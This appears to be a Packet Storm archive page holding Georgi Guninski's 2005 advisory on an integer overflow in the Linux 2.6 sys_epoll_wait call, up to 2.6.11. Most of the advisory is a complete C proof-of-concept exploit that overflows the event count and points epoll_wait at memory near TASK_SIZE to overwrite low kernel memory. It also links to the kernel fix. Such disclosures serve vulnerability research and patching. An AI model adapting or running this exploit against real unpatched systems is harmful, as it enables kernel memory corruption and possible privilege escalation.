what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

kernel26lowmem.txt

kernel26lowmem.txt
Posted Mar 15, 2005
Authored by Georgi Guninski

An integer overflow flaw exists in sys_epoll_wait in the Linux kernel 2.6 series in versions equal to or below 2.6.11. Sample exploitation provided.

tags | exploit, overflow, kernel
systems | linux
SHA-256 | d083ba6efdf8af859e7ea6c1a4962bccf506a55a0eb627d60abf4685586d6b1a

kernel26lowmem.txt

Change Mirror Download
it is possible to partially overwrite low kernel ( >= 2.6 <= 2.6.11) memory 
due to integer overflow in sys_epoll_wait and misuse of __put_user
in ep_send_events

tested on i386.
despite the overflow, the os seemingly continues normal operation.

fix:
http://linux.bkbits.net:8080/linux-2.6/cset@422dd06a1p5PsyFhoGAJseinjEq3ew?nav=index.html|ChangeSet@-1d

-------------------------------------------------
/*
* copyright georgi guninski.
* cannot be used in vulnerabilities databases like securityfocus and mitre
* */
#include <stdio.h>
#include <sys/epoll.h>
#include <sys/socket.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#define __KERNEL__
#include <asm/processor.h>
#undef __KERNEL__

#define MAXV 500

int main(int argc,char ** argv)
{
int epfd;
int i;
int res;
struct epoll_event ev;
int *fds;
int over;
void *km;

over= ((unsigned int)-1)/sizeof(struct epoll_event)+1;
km=(void *)(TASK_SIZE - over*sizeof(struct epoll_event) - 4);
printf("sizeof=%d %x %lx\n",sizeof(struct epoll_event),over,(unsigned long)km);

epfd = epoll_create(MAXV);
printf("Epoll descriptor %i\n",epfd);
fds=calloc(2*MAXV,sizeof(int));
for(i=0;i<MAXV;i++)
{
if (socketpair(AF_UNIX, SOCK_STREAM, 0, &fds[2*i])) perror("pair");
ev.data.u32 = 0x42424242;
ev.events = EPOLLOUT|EPOLLIN | 0x42424242;
res = epoll_ctl(epfd,EPOLL_CTL_ADD,fds[2*i],&ev);
}
for(i=0;i<MAXV;i++) write(fds[2*i+1],&i,sizeof(i));

system("sync");

for(i = 0; i < 1; i++)
{
res = epoll_wait(epfd,km,over,-1);
printf("epoll_wait returned %i\n",res);
printf("check what is after TASK_SIZE\n");
}

close(epfd);
return 42;
}
-----------------------------------------

--
where do you want bill gates to go today?

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close